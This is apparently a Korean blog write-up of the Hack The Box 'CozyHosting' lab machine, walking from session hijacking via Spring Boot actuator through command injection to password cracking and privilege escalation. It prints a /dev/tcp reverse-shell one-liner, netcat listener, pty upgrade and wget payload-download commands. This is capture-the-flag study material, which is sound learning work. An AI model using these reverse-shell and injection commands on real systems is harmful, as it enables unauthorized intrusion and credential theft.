Hacking the box에서 처음 푼 문제는 CozyHosting 이라는 문제이다. 문제들이 어떤 식으로 되어있는지 몰라서 더욱 많이 헤맸던 것 같다.
nmap 스캔을 해보니, 22번 포트와 80포트가 열려있다. 80포트로 보아 웹서비스를 하고 있는 것을 알 수 있다.
해당 IP로 접속을 시도하였으나 접속이 되지 않았다.
hosts 설정을 해야한다. 설정 후 호출해보면 응답이 오는 것을 알 수 있다.
디렉토리를 스캔하는 도구로 해당 웹서비스를 스캔해 본다. /admin 등의 페이지가 있는 것을 알 수 있고, White Label 등의 에러 페이지로 Java Spring Boot 를 사용하는 것을 알 수 있었다. 스캔 결과를 통해 /actuator 를 통해 session을 관리하는 것을 확인할 수 있다.
- Spring Boot Actuator란 Spring Boot 기반의 애플리케이션을 손쉽게 모니터링 할수 있는 데이터를 제공해주는 라이브러리이다.
/actuator/sessions 에 접속해 보면, kanderson이라는 세션이 존재한다.
해당 세션을 이용해서 /admin 페이지에 접속하면 kanderson 계정에 접속할 수 있다.
아래 보면, hostname과 username을 입력하는 창이 있다. hostname에는 localhost, 127.0.0.1, cozyhosing.htb, htb's IP 등을 넣으면 정상 동작하는 것을 알 수 있었다. 그리고 username에서 Command Injection이 가능함을 확인할 수 있다.
특수문자들을 넣어보니, 응답 값으로 에러가 발생하는 것을 알 수 있다. ssh 서비스와 연결되는 것으로 보인다.
Command Injection이 되는 것을 확인하였다.
- Command Injection Dictionary 참고 : https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/command-injection-commix.txt
이 취약점을 통해 reverse shell 공격을 수행한다. nc로 열어두고, 다음과 같이 연결을 시도한다.
연결이 된 것을 확인할 수 있고, 해당 창으로 결과가 출력되도록하여 쉘에 붙은 것을 볼 수 있다. jar파일이 하나 존재하여 다운받아 보겠다.
#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0
# netcat을 실행하여 php-reverse-shell에서 지정한 port로 들어오는 연결 수신
nc -lvnp [port number]
# 리버스 쉘 상태에서는 제한이 있을 수 있으므로 python을 이용하여 bash 쉘 호출
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 파이썬을 이용하여 웹서버 오픈
python3 -m http.server 8000
# 공격자 터미널
# 권한 상승을 위한 정보 수집 스크립트 다운로드
wget http://IP:Port/~~~.jar
웹서버 열어서 다운받거나, wget으로 다운로드를 진행하면 된다.
다운받은 jar 파일의 압축을 풀어보니 다음과 같이 DB접속 정보가 존재하는 설정파일을 발견할 수 있다.
Postgres 접속 방법을 찾아서 DB에 접속 한다.
사용법을 잘 몰라서 여기서도 헤맸는데, \c + DB 명령어를 통해 DB에 접근을 먼저 해줘야한다. 그러면 테이블 목록을 볼 수 있고, users 테이블 데이터를 확인할 수 있다.
여기서 이제 admin 패스워드를 크랙하여 진행하면 된다. hashcat을 사용해도 되고, 나는 john the ripper 를 사용하여 크랙하였다.
이 전을 보면, 로그인 가능한 상태의 josh라는 계정이 있다. 해당 계정에 크랙한 패스워드를 입력하면 로그인이 가능하다.
이렇게 하면 user의 flag는 획득할 수 있다.
이제 root의 flag를 획득하기 위해 권한 상승을 해야한다...
- sudo -l 옵션 : 사용자에게 허용됐거나 금지된 명령어 목록을 출력
ssh를 이용해야해서 그 방법을 찾다가, ssh shell 붙는 방법들에 대해 유용한 문서를 참고하였다.
참고 링크
https://www.youtube.com/watch?v=P3RNZiTkz94
'STUDY > HTB(Hack The Box)' 카테고리의 다른 글
[HTB] TwoMillion - Guided Mode (0) | 2024.02.17 |
---|---|
[HTB] Keeper (0) | 2024.02.04 |
[HTB] Devvortex (0) | 2024.01.24 |
[HTB] Meow - Hack the Box 사용법 (0) | 2024.01.18 |
[HTB] OpenVPN 방식 & Pwnbox 환경세팅 (0) | 2024.01.18 |